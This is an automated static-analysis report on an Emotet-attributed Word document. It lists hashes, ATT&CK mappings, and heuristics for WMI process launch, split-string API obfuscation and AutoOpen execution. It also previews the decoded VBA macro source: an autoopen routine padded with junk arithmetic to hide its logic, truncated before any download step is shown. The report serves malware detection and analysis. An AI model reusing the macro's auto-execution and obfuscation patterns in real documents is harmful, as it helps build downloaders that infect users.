Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4b20ea7eacbc7078…

MALICIOUS

Office (OLE)

177.4 KB Created: 2019-04-12 11:40:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 5a0f1281daa3275bd45f732adc1cfc40 SHA-1: 32b2f24a5b94e7fd9e209fc755c64b21985d5569 SHA-256: 4b20ea7eacbc7078657b8b3ccf8a0ae35585939f5d2ffd27268dc4f37ab3c29a
342 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample contains a VBA macro with an autoopen subroutine, a common Emotet technique. The macro uses obfuscated API calls, specifically reassembling 'winmgmts' to launch a WMI process. This indicates the macro's intent is to download and execute a second-stage payload. ClamAV detection further supports the Emotet family attribution.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-6939138-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6939138-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 32840 bytes
SHA-256: 7c911fd0aa6d411d2adb01bd05745a2883b4a33dacce77dec177fa0a9b91934a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "uAAGUwX"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "RADCD4A_"
Attribute VB_Base = "0{D882166F-D9BA-4DA8-A84C-46E4CD8C9E64}{D78CF6FB-B862-4FE9-BC03-E8E9474AC445}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "iDAACAQ"
Attribute VB_Base = "0{3C725D5C-D8B5-4332-95F7-FEF939F287E4}{2A70ED24-8C1B-4F30-9669-AEE71DDE4106}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "tADZAQ"
Sub autoopen()
   If pQ1Gc1 = LUA_B4 Then
 Nx4C_A = zcQGG1 - LAoAAA4o
      Select Case HGCAc_x
         Case 6750152
            k1QAUc = CVar(723354492 * Rnd(QQAkZAU * Round(721449592) / 21190537 * CLng(787349579 * Sqr(lco4ADo))))
            iGAAwC = Round(j1UAAGDw)
         Case 564998708
            iQcwUACA = d4BcAAo
            PAxoUZkQ = Atn(396033936)
      End Select
End If
   If qQ4AAD = OG4UAAc Then
 SxQCDD = UwoDxA - pAoAQDA
      Select Case GDDkA1BA
         Case 79816822
            qA_UBQ = CVar(247330336 * Rnd(EAAAAQAD * Round(970842398) / 283880087 * CLng(291116281 * Sqr(NAUGCw))))
            KA1AG_ = Round(OxADA4)
         Case 850775130
            KAUQAA = lDXcXA
            toAkZwAX = Atn(908675351)
      End Select
End If
   If rAAoCAQ = UBA_AZc Then
 VAUBAAAD = wQAoAQ1A - NoAUcwAB
      Select Case oGCUXC
         Case 250119717
            AB4DDDAw = CVar(669048930 * Rnd(sAZBAQAc * Round(859089900) / 95451493 * CLng(640768456 * Sqr(UAA4AUZ))))
            JZAAQA = Round(z4UkwA)
         Case 193505518
            hxAkoDBA = qXQCUA
            zZDxAG = Atn(662985249)
      End Select
End If
lGxxAQD4
   If uUGAQXo = XAAUZQc Then
 QAAAQ_oA = dAXBAA - r1A_AQGA
      Select Case jDDADA
         Case 430136169
            zAwBAA = CVar(546088376 * Rnd(M4xo4oA * Round(58583347) / 540175413 * CLng(826070518 * Sqr(LADABxw))))
            ckcZA1AA = Round(SUwX_kAQ)
         Case 225601070
            F44AQA = jQAAAU
            VGBQ4Q = Atn(151232539)
      End Select
End If
   If vQUXD1B = OkDQBo Then
 lA_AA_U = fUAXUA - BAZDco1
      Select Case SBXAoUAo
         Case 707526549
            UoAUA1GA = CVar(555910028 * Rnd(EcwBCAx * Round(754689725) / 530215988 * CLng(159072776 * Sqr(GADwAx))))
            zoAAAo = Round(iwoAcQ_X)
         Case 577417582
            uoC4QZU = ODCUxBB
            EGDD1DA = Atn(290834139)
      End Select
End If
End Sub

Attribute VB_Name = "jAAG4AU"
Function lGxxAQD4()
On Error Resume Next
   If RUAAcGDA = oAXACAD Then
 FQ__AAxQ = SCUXABA - EACZ_DU
      Select Case GoDAAZ
         Case 136352051
            wGACAAA1 = CVar(373748631 * Rnd(zAQXxAZA * Round(270932904) / 973182514 * CLng(382208053 * Sqr(wUG1Qw))))
            ECZoAk = Round(fXUAAk)
         Case 803678515
            p4ccAABA = mA4AAB
            TxA4xZAG = Atn(793773556)
      End Select
End If
   If YQAADZw = SDkBUU Then
 BQCwQGQ = N_AoAc - aUQUAQU
      Select Case UABAGAA
         Case 814140208
            wAAkZZww = CVar(766661784 * Rnd(wD_Xwx * Round(89245718) / 619440220 * CLng(291268394 * Sqr(BkAkwDB))))
            DUAGAB = Round(MQQAUX)
         Case 458320918
            t_AAXA = QABU1kG
            HAkQAAA = Atn(59928413)
      End Select
End If
   If bUQAco = mACAAU Then
 FkQUAXA4 = R1G1BQ - uZUcoD__
      Select Case mAx_DAk
         Case 969146695
            EDBCAUQw = CVar(381963367 * Rnd(UXAAAA * Round(115459939) / 237303284 * CLng(419933571 * Sqr(P1BGwBX))))
            tAQGBA = Round(IAADAwAA)
         Case 711255456
      
... (truncated)

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